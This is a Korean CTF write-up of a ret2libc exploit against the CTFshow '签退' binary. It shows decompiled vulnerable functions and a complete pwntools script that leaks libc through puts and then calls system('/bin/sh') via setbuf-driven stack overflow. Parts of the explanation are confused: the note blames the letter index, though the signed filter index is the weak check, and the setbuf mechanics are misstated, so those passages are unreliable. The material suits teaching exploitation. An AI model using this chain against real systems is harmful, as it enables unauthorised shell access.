setbuf를 활용한 ret2libc 공격 기법

1. 배경 원리

setbuf 함수는 다음과 같이 정의됩니다:

#include <stdio.h>
void setbuf(FILE *stream, char *buffer);

두 개의 인자를 받습니다:

  • stream: FILE 구조체 포인터로, 버퍼를 설정할 스트림(stdin, stdout 등)을 지정합니다.
  • buffer: 버퍼로 사용될 문자 배열 포인터. NULL로 설정하면 버퍼링이 해제됩니다.

이 함수는 파일 스트림과 메모리 버퍼를 연결하여, 파일에 대한 쓰기 작업 시 동시에 버퍼에도 데이터가 기록되도록 합니다. 중요한 점은 이 동작이 연속적(누적적)으로 일어난다는 것입니다. 즉, 첫 번째 쓰기에서 n바이트, 두 번째 쓰기에서 또 n바이트를 쓰면, 버퍼가 해제되기 전까지 총 2n바이트가 버퍼에 기록됩니다.

이 특성을 이용하면, 각각 오버플로우가 발생하지 않는 두 개의 연산을 조합하여 하나의 버퍼에서 오버플로우를 유발할 수 있습니다. 이 기법은 특수한 조건이 필요하지만, 조건이 맞을 경우 매우 강력한 익스플로잇 벡터를 제공합니다.

2. 분석 대상: CTFshow "签退" 문제

취약 함수

int vuln()
{
  int v0; // eax
  FILE *stream; // [esp+Ch] [ebp-53Ch]
  int v3; // [esp+10h] [ebp-538h]
  _BYTE v4[1328]; // [esp+18h] [ebp-530h] BYREF

  v3 = 0;
  memset(v4, 0, 0x528u);
  stream = fopen("/dev/null", "a");
  if ( !stream ) wrong();
  startcon();
  sleep(2u);
  while ( !v3 ) {
    choice();
    v0 = inputint();
    if ( v0 == 2 )      delete((int)v4);
    else if ( v0 > 2 ) {
      if ( v0 == 3 )    post((int)v4, stream);
      else if ( v0 == 4 ) v3 = 1;
    }
    else if ( v0 == 1 ) add(v4);
  }
  puts("Thank you for using our service :)");
  fclose(stream);
  return 0;
}

핵심 함수들

int __cdecl add(int a1)
{
  for ( int i = 0; i <= 4 && *(_DWORD *)(264 * i + a1); ++i );
  if ( i == 5 ) return puts("Too many letters :P");
  printf("\nInput your contents: ");
  *(_DWORD *)(264 * i + a1 + 4) = sub_80486D9(264 * i + a1 + 8, 256);
  *(_DWORD *)(264 * i + a1) = 1;
  return puts("\nDone!");
}

int __cdecl delete(int a1)
{
  unsigned int v2;
  puts("\nWhich letter do you want to delete?");
  printf("ID (0-%d): ", 4);
  v2 = inputint();
  if ( v2 > 4 || !*(_DWORD *)(264 * v2 + a1) )
    return puts("Invalid ID.");
  *(_DWORD *)(264 * v2 + a1) = 0;
  *(_DWORD *)(264 * v2 + a1 + 4) = 0;
  memset((void *)(264 * v2 + a1 + 8), 0, 0x100u);
  return puts("\nDone!");
}

int __cdecl post(int a1, FILE *s)
{
  int v3;
  unsigned int v4;

  puts("\nWhich letter do you want to post?");
  printf("ID (0-%d): ", 4);
  v4 = inputint();
  if ( v4 > 4 || !*(_DWORD *)(264 * v4 + a1) )
    return puts("Invalid ID.");
  puts("\nWhich filter do you want to apply?");
  sub_80488F8();
  v3 = inputint();
  if ( v3 > 2 ) return puts("Invalid filter.");
  funcs_8048BB5[v3](s, (void *)(264 * v4 + a1 + 8), *(_DWORD *)(264 * v4 + a1 + 4));
  return puts("\nDone!");
}

분석 결과

  • add: 최대 5개의 letter 버퍼를 생성하며, 각각의 실제 데이터 영역은 0x100 바이트입니다.
  • post: letter 인덱스 검증이 부족하여 음수 인덱스로 접근이 가능합니다(하향 오버플로우).
  • 필터 함수 배열 (funcs_8048BB5)은 .got.plt 영역 바로 앞에 위치하며, post에서 음수 인덱스를 사용하면 GOT 엔트리에 접근할 수 있습니다.

특히 setbuf의 GOT 주소가 이 배열과 가까운 곳에 있습니다. post 함수에 -15 인덱스를 전달하면 funcs_8048BB5[-15]setbuf의 GOT 값을 읽게 됩니다. 이 값을 이용하여 setbuf 함수를 스트림 작업의 필터로 호출할 수 있습니다.

3. 공격 전략

  1. 5개의 letter를 모두 add로 할당합니다.
  2. letter 0과 letter 1에 페이로드를 씁니다:
    • letter 0: 0x100 바이트의 패딩 ('a')
    • letter 1: 0xc 바이트 패딩 + ret2libc 체인
  3. post(4, -15) 호출 → letter 4의 데이터를 setbuf 함수로 전달합니다.
  4. 이제 setbuf(stream, letter4의 데이터)가 실행됩니다. 여기서 letter4의 데이터는 letter 0 + letter 1이 합쳐진 0x10c 바이트입니다.
  5. 이 작업은 fopen("/dev/null", "a")로 열린 파일 스트림에 대해 버퍼를 설정하는 것으로, letter 0과 1에 기록된 내용이 스택 버퍼에 복사되면서 오버플로우가 발생합니다.
  6. 스택 레이아웃에 따라 letter 1의 페이로드가 리턴 주소를 덮어씁니다.

스택 오버플로우 정확성을 위해, 페이로드 끝에 추가 바이트 1개('\x00')를 더해 정확한 주소 정렬을 맞춥니다.

4. 최종 익스플로잇 코드

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x08048bd0

def add(content):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b':', content)

def delete(index):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b':', str(index).encode())

def post(index, filter):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b':', str(index).encode())
    p.sendlineafter(b'>', str(filter).encode())

def quit_():
    p.sendlineafter(b'>', b'4')

# 1단계: puts GOT 주소 누출
p.recvuntil(b'4. Quit')
add(b'a' * 0x100)  # letter 0
payload1 = b'a' * 0xc + b'0' + p32(puts_plt) + p32(main) + p32(puts_got)
add(payload1)       # letter 1
add(b'\x00')        # letter 2
add(b'\x00')        # letter 3
add(b'\x00')        # letter 4

post(4, -15)  # setbuf로 letter4를 전달 → 오버플로우 발생
post(0, 0)    # fwrite (스트림에 letter0 기록)
post(1, 0)    # fwrite (스트림에 letter1 기록 → setbuf 버퍼 채움)
quit_()

p.recvuntil(b':)')
puts_addr = u32(p.recvuntil(b'\xf7')[-4:])
log.success(f"puts address: {hex(puts_addr)}")

libc_search = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc_search.dump('puts')
system_addr = libc_base + libc_search.dump('system')
binsh_addr = libc_base + libc_search.dump('str_bin_sh')
log.success(f"system: {hex(system_addr)}, binsh: {hex(binsh_addr)}")

# 2단계: system("/bin/sh") 실행
p.recvuntil(b'>')
add(b'a' * 0x100)  # letter 0
payload2 = b'a' * 0xc + b'0' + p32(system_addr) + p32(0) + p32(binsh_addr)
add(payload2)       # letter 1
add(b'\x00')
add(b'\x00')
add(b'\x00')

post(4, -15)
post(0, 0)
post(1, 0)
quit_()

p.interactive()

5. 핵심 포인트

  • 음수 인덱스 접근: post 함수의 배열 검증 부재로 GOT 영역 참조 가능
  • setbuf의 누적 버퍼링: 두 번의 fwrite 호출로 버퍼를 0x10c 바이트로 확장하여 스택 오버플로우 유발
  • 정확한 정렬: ret2libc 체인 구성 시 추가 NULL 바이트로 4바이트 정렬 맞춤
  • 루프 재진입: quit() 호출 후 main 함수로 재진입하여 2차 공격 가능

태그: setbuf ret2libc buffer overflow GOT overwrite CTF

6월 22일 16:12에 게시됨